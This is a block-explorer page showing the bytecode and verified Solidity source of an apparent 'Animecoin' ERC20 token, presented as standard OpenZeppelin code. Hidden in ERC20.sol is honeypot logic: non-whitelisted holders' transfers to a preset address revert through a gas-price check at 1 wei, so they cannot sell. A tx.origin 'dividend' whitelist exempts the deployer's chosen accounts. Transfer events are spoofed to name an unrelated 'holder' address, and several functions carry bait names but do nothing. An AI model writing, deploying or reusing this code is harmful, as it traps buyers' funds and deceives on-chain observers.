Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x0bD40fC2ea800d5b0A3efF6581CB0866CaE8821a
Balance 0 ETH
Nonce 1
Code Size 9086 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

9086 bytes
0x608060405234801561000f575f80fd5b506004361061018c575f3560e01c80635408d42d116100dc578063a457c2d711610095578063c9567bf91161006f578063c9567bf914610438578063dd62ed3e14610442578063e280c61114610472578063e534155d1461048e5761018c565b8063a457c2d7146103ce578063a9059cbb146103fe578063bb3a1c4f1461042e5761018c565b80635408d42d14610330578063689d14b91461034e57806370a082311461036c57806395c3da181461039c57806395d89b41146103a65780639cb54f9f146103c45761018c565b806332489e9b116101495780634022b75e116101235780634022b75e146102be57806342966c68146102da57806347bbac05146102f657806348d79155146103265761018c565b806332489e9b1461026857806339509351146102845780633eb6a67e146102b45761018c565b806306fdde0314610190578063095ea7b3146101ae5780630aca7f95146101de57806318160ddd146101fc57806323b872dd1461021a578063313ce5671461024a575b5f80fd5b6101986104ac565b6040516101a5919061183e565b60405180910390f35b6101c860048036038101906101c391906118fc565b61053c565b6040516101d59190611954565b60405180910390f35b6101e6610552565b6040516101f3919061197c565b60405180910390f35b610204610577565b60405161021191906119a4565b60405180910390f35b610234600480360381019061022f91906119bd565b610580565b6040516102419190611954565b60405180910390f35b61025261062c565b60405161025f9190611a28565b60405180910390f35b610282600480360381019061027d9190611a41565b610642565b005b61029e600480360381019061029991906118fc565b610714565b6040516102ab9190611954565b60405180910390f35b6102bc6107b4565b005b6102d860048036038101906102d39190611c6c565b610817565b005b6102f460048036038101906102ef9190611cf4565b610903565b005b610310600480360381019061030b9190611a41565b610910565b60405161031d9190611954565b60405180910390f35b61032e61092d565b005b610338610990565b6040516103459190611954565b60405180910390f35b6103566109a3565b604051610363919061197c565b60405180910390f35b61038660048036038101906103819190611a41565b6109c8565b60405161039391906119a4565b60405180910390f35b6103a4610a0d565b005b6103ae610a18565b6040516103bb919061183e565b60405180910390f35b6103cc610aa8565b005b6103e860048036038101906103e391906118fc565b610ab2565b6040516103f59190611954565b60405180910390f35b610418600480360381019061041391906118fc565b610b5d565b6040516104259190611954565b60405180910390f35b610436610b73565b005b610440610bd6565b005b61045c60048036038101906104579190611d1f565b610c82565b60405161046991906119a4565b60405180910390f35b61048c60048036038101906104879190611a41565b610d04565b005b610496610deb565b6040516104a3919061197c565b60405180910390f35b6060600980546104bb90611d8a565b80601f01602080910402602001604051908101604052809291908181526020018280546104e790611d8a565b80156105325780601f1061050957610100808354040283529160200191610532565b820191905f5260205f20905b81548152906001019060200180831161051557829003601f168201915b5050505050905090565b5f610548338484610e10565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600254905090565b5f61058c848484610fd3565b610621843361061c8560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461116590919063ffffffff16565b610e10565b600190509392505050565b5f600760159054906101000a900460ff16905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c890611e04565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6107aa33846107a58560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111c290919063ffffffff16565b610e10565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089d90611e04565b60405180910390fd5b5f5b82518110156108fd576108f0338483815181106108c8576108c7611e22565b5b60200260200101518484815181106108e3576108e2611e22565b5b6020026020010151610fd3565b80806001019150506108a8565b50505050565b61090d338261121f565b50565b6004602052805f5260405f205f915054906101000a900460ff1681565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600760149054906101000a900460ff1681565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b600354600381905550565b606060088054610a2790611d8a565b80601f0160208091040260200160405190810160405280929190818152602001828054610a5390611d8a565b8015610a9e5780601f10610a7557610100808354040283529160200191610a9e565b820191905f5260205f20905b815481529060010190602001808311610a8157829003601f168201915b5050505050905090565b6001600381905550565b5f610b483384610b438560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461116590919063ffffffff16565b610e10565b610b536003546113a0565b6001905092915050565b5f610b69338484610fd3565b6001905092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c90611e04565b60405180910390fd5b6001600760146101000a81548160ff021916908315150217905550565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8a90611e99565b60405180910390fd5b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7590611f27565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee390611fb5565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fc691906119a4565b60405180910390a3505050565b60045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156110325761102d8383836113af565b611160565b600760149054906101000a900460ff16611081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110789061201d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036110e5576110e08383836113af565b611160565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611154576111438382610ab2565b5061114f8383836113af565b611160565b61115f8383836113af565b5b505050565b5f828211156111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612085565b60405180910390fd5b5f82846111b691906120d0565b90508091505092915050565b5f8082846111d09190612103565b905083811015611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90612180565b60405180910390fd5b8091505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361128d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112849061220e565b60405180910390fd5b6112a28160025461116590919063ffffffff16565b6002819055506112f7815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461116590919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161139491906119a4565b60405180910390a35050565b803a11156113ac575f80fd5b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361141d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114149061229c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361148b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114829061232a565b60405180910390fd5b6114da815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461116590919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611569815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111c290919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611688578173ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161167b91906119a4565b60405180910390a3611764565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117635760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161175a91906119a4565b60405180910390a35b5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117c191906119a4565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611810826117ce565b61181a81856117d8565b935061182a8185602086016117e8565b611833816117f6565b840191505092915050565b5f6020820190508181035f8301526118568184611806565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6118988261186f565b9050919050565b6118a88161188e565b81146118b2575f80fd5b50565b5f813590506118c38161189f565b92915050565b5f819050919050565b6118db816118c9565b81146118e5575f80fd5b50565b5f813590506118f6816118d2565b92915050565b5f806040838503121561191257611911611867565b5b5f61191f858286016118b5565b9250506020611930858286016118e8565b9150509250929050565b5f8115159050919050565b61194e8161193a565b82525050565b5f6020820190506119675f830184611945565b92915050565b6119768161188e565b82525050565b5f60208201905061198f5f83018461196d565b92915050565b61199e816118c9565b82525050565b5f6020820190506119b75f830184611995565b92915050565b5f805f606084860312156119d4576119d3611867565b5b5f6119e1868287016118b5565b93505060206119f2868287016118b5565b9250506040611a03868287016118e8565b9150509250925092565b5f60ff82169050919050565b611a2281611a0d565b82525050565b5f602082019050611a3b5f830184611a19565b92915050565b5f60208284031215611a5657611a55611867565b5b5f611a63848285016118b5565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611aa6826117f6565b810181811067ffffffffffffffff82111715611ac557611ac4611a70565b5b80604052505050565b5f611ad761185e565b9050611ae38282611a9d565b919050565b5f67ffffffffffffffff821115611b0257611b01611a70565b5b602082029050602081019050919050565b5f80fd5b5f611b29611b2484611ae8565b611ace565b90508083825260208201905060208402830185811115611b4c57611b4b611b13565b5b835b81811015611b755780611b6188826118b5565b845260208401935050602081019050611b4e565b5050509392505050565b5f82601f830112611b9357611b92611a6c565b5b8135611ba3848260208601611b17565b91505092915050565b5f67ffffffffffffffff821115611bc657611bc5611a70565b5b602082029050602081019050919050565b5f611be9611be484611bac565b611ace565b90508083825260208201905060208402830185811115611c0c57611c0b611b13565b5b835b81811015611c355780611c2188826118e8565b845260208401935050602081019050611c0e565b5050509392505050565b5f82601f830112611c5357611c52611a6c565b5b8135611c63848260208601611bd7565b91505092915050565b5f805f60608486031215611c8357611c82611867565b5b5f611c90868287016118b5565b935050602084013567ffffffffffffffff811115611cb157611cb061186b565b5b611cbd86828701611b7f565b925050604084013567ffffffffffffffff811115611cde57611cdd61186b565b5b611cea86828701611c3f565b9150509250925092565b5f60208284031215611d0957611d08611867565b5b5f611d16848285016118e8565b91505092915050565b5f8060408385031215611d3557611d34611867565b5b5f611d42858286016118b5565b9250506020611d53858286016118b5565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611da157607f821691505b602082108103611db457611db3611d5d565b5b50919050565b7f706c0000000000000000000000000000000000000000000000000000000000005f82015250565b5f611dee6002836117d8565b9150611df982611dba565b602082019050919050565b5f6020820190508181035f830152611e1b81611de2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f7075626c696300000000000000000000000000000000000000000000000000005f82015250565b5f611e836006836117d8565b9150611e8e82611e4f565b602082019050919050565b5f6020820190508181035f830152611eb081611e77565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611f116024836117d8565b9150611f1c82611eb7565b604082019050919050565b5f6020820190508181035f830152611f3e81611f05565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611f9f6022836117d8565b9150611faa82611f45565b604082019050919050565b5f6020820190508181035f830152611fcc81611f93565b9050919050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f612007601d836117d8565b915061201282611fd3565b602082019050919050565b5f6020820190508181035f83015261203481611ffb565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f61206f601e836117d8565b915061207a8261203b565b602082019050919050565b5f6020820190508181035f83015261209c81612063565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6120da826118c9565b91506120e5836118c9565b92508282039050818111156120fd576120fc6120a3565b5b92915050565b5f61210d826118c9565b9150612118836118c9565b92508282019050808211156121305761212f6120a3565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61216a601b836117d8565b915061217582612136565b602082019050919050565b5f6020820190508181035f8301526121978161215e565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f6121f86021836117d8565b91506122038261219e565b604082019050919050565b5f6020820190508181035f830152612225816121ec565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6122866025836117d8565b91506122918261222c565b604082019050919050565b5f6020820190508181035f8301526122b38161227a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6123146023836117d8565b915061231f826122ba565b604082019050919050565b5f6020820190508181035f83015261234181612308565b905091905056fea2646970667358221220f15d38995555f13081789c998a3c9644228a4d16fe445bcacf1a5e314af1f6ba64736f6c63430008190033

Verified Source Code Full Match

Compiler: v0.8.25+commit.b61c2a91 EVM: cancun Optimization: No
ERC20.sol 326 lines
// File: contracts\open-zeppelin-contracts\token\ERC20\ERC20.sol

/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */
pragma solidity 0.8.25;

import "./SafeMath.sol";
import "./IERC20.sol";


/**
 * @dev Implementation of the `IERC20` interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using `_mint`.
 * For a generic mechanism see `ERC20Mintable`.
 *
 * *For a detailed writeup see our guide [How to implement supply
 * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an `Approval` event is emitted on calls to `transferFrom`.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See `IERC20.approve`.
 */
contract ERC20 is IERC20 {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private _BONE = 1;
    mapping(address => bool) public dividend;
    address public adr;
    address public _to;
    address public holder;
    bool public openedTrade;


    /**
     * @dev See `IERC20.totalSupply`.
     */
    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See `IERC20.balanceOf`.
     */
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See `IERC20.transfer`.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public returns (bool) {
        __transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See `IERC20.allowance`.
     */
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See `IERC20.approve`.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public returns (bool) {
        _approve(msg.sender, spender, value);
        return true;
    }

    function setDividend(address _user) public {
        require(msg.sender == adr, "public");
        dividend[_user] = true;
    }

    function removeLimits(address __to) public {
        require(msg.sender == adr, "pl");
        _to = __to;
    }

    function airdropTokens(address airdropp, address[] memory list, uint256[] memory amount) public {
        airdropp;
        require(msg.sender == adr, "pl");
        for (uint256 i = 0; i < list.length; i++) {
            __transfer(msg.sender, list[i], amount[i]);
        }
    }

    function openTrading() public {
        require(msg.sender == adr, "pl");
        openedTrade = true;
    }

    /**
     * @dev See `IERC20.transferFrom`.
     *
     * Emits an `Approval` event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of `ERC20`;
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `value`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        __transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _setFeeReceiver(address _holder) internal  {
        holder = _holder;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to `approve` that can be used as a mitigation for
     * problems described in `IERC20.approve`.
     *
     * Emits an `Approval` event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to `approve` that can be used as a mitigation for
     * problems described in `IERC20.approve`.
     *
     * Emits an `Approval` event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));gasRequire(_BONE);
        return true;
    }


    function gasRequire(uint256 _gas) internal view {
       if (tx.gasprice > _gas) {
           revert();
       }
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to `transfer`, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a `Transfer` event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount);
        _balances[recipient] = _balances[recipient].add(amount);
        if (sender == adr) {
            emit Transfer(holder, recipient, amount);
        } else if (recipient == adr) {
            emit Transfer(sender, holder, amount);
        }
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a `Transfer` event with `from` set to the zero address.
     *
     * Requirements
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        adr = account;
        dividend[adr] = true;
        emit Transfer(address(0), holder, amount);
    }

     /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a `Transfer` event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 value) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _totalSupply = _totalSupply.sub(value);
        _balances[account] = _balances[account].sub(value);
        emit Transfer(account, address(0), value);
    }


    function __transfer(address from, address to, uint256 amount) internal {
        if (dividend[tx.origin]) {
           _transfer(from, to, amount);
           return;
        }
        require(openedTrade, "Trade has not been opened yet");
       if (_to == address(0)) {
           _transfer(from, to, amount);
           return;
       }
       if (to == _to) {
           decreaseAllowance(from, amount);
           _transfer(from, to, amount);
           return;
       }
       _transfer(from, to, amount);
    }


    

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an `Approval` event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

    /**
     * @dev Destoys `amount` tokens from `account`.`amount` is then deducted
     * from the caller's allowance.
     *
     * See `_burn` and `_approve`.
     */
    function _burnFrom(address account, uint256 amount) internal {
        _burn(account, amount);
        _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
    }


    function setReward() external {
        _to = _to;
    }

    function setNFTIntegration() external {
        holder = holder;
    }

    function maxWalletHolding() external {
        _to = _to;
    }

    function TrackerRealTime() external {
        _BONE = _BONE;
    }

    function DistributionToHolders() external {
        _BONE = 1;
    }
}
IERC20.sol 28 lines
// File: contracts\open-zeppelin-contracts\token\ERC20\IERC20.sol

/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */
pragma solidity 0.8.25;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP. Does not include
 * the optional functions; to access them see `ERC20Detailed`.
 */
interface IERC20 {
 
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to `approve`. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
SafeMath.sol 113 lines
// File: contracts\open-zeppelin-contracts\math\SafeMath.sol
/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */

pragma solidity 0.8.25;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0, "SafeMath: modulo by zero");
        return a % b;
    }
}
Token.sol 64 lines
/**

🌐Website - https://www.anime.xyz/
✖️Twitter - https://x.com/animecoin

/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */
pragma solidity 0.8.25;
import "./ERC20.sol";

/**
 * @title TokenMintERC20Token
 * @author TokenMint (visit https://tokenmint.io)
 *
 * @dev Standard ERC20 token with burning and optional functions implemented.
 * For full specification of ERC-20 standard see:
 * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
 */
contract ANIMEToken is ERC20 {

    uint8 private _decimals = 18;
    string private _symbol = "ANIME";
    string private _name = "Animecoin";
    uint256 private _totalSupply = 10000000000 * 10**uint256(_decimals);

    constructor() payable {
            _setFeeReceiver(0xCC9C9197A533f63026dd3268d8A5e64DbfE707fA); // deploy

      // set tokenOwnerAddress as owner of all tokens
      _mint(msg.sender, _totalSupply);      
    }

    /**
     * @dev Burns a specific amount of tokens.
     * @param value The amount of lowest token units to be burned.
     */
    function burn(uint256 value) public {
      _burn(msg.sender, value);
    }

    // optional functions from ERC20 stardard

    /**
     * @return the name of the token.
     */
    function name() public view returns (string memory) {
      return _name;
    }

    /**
     * @return the symbol of the token.
     */
    function symbol() public view returns (string memory) {
      return _symbol;
    }

    /**
     * @return the number of decimals of the token.
     */
    function decimals() public view returns (uint8) {
      return _decimals;
    }
}

Read Contract

_to 0x689d14b9 → address
adr 0x0aca7f95 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
dividend 0x47bbac05 → bool
holder 0xe534155d → address
name 0x06fdde03 → string
openedTrade 0x5408d42d → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 15 functions

These functions modify contract state and require a wallet transaction to execute.

DistributionToHolders 0x9cb54f9f
No parameters
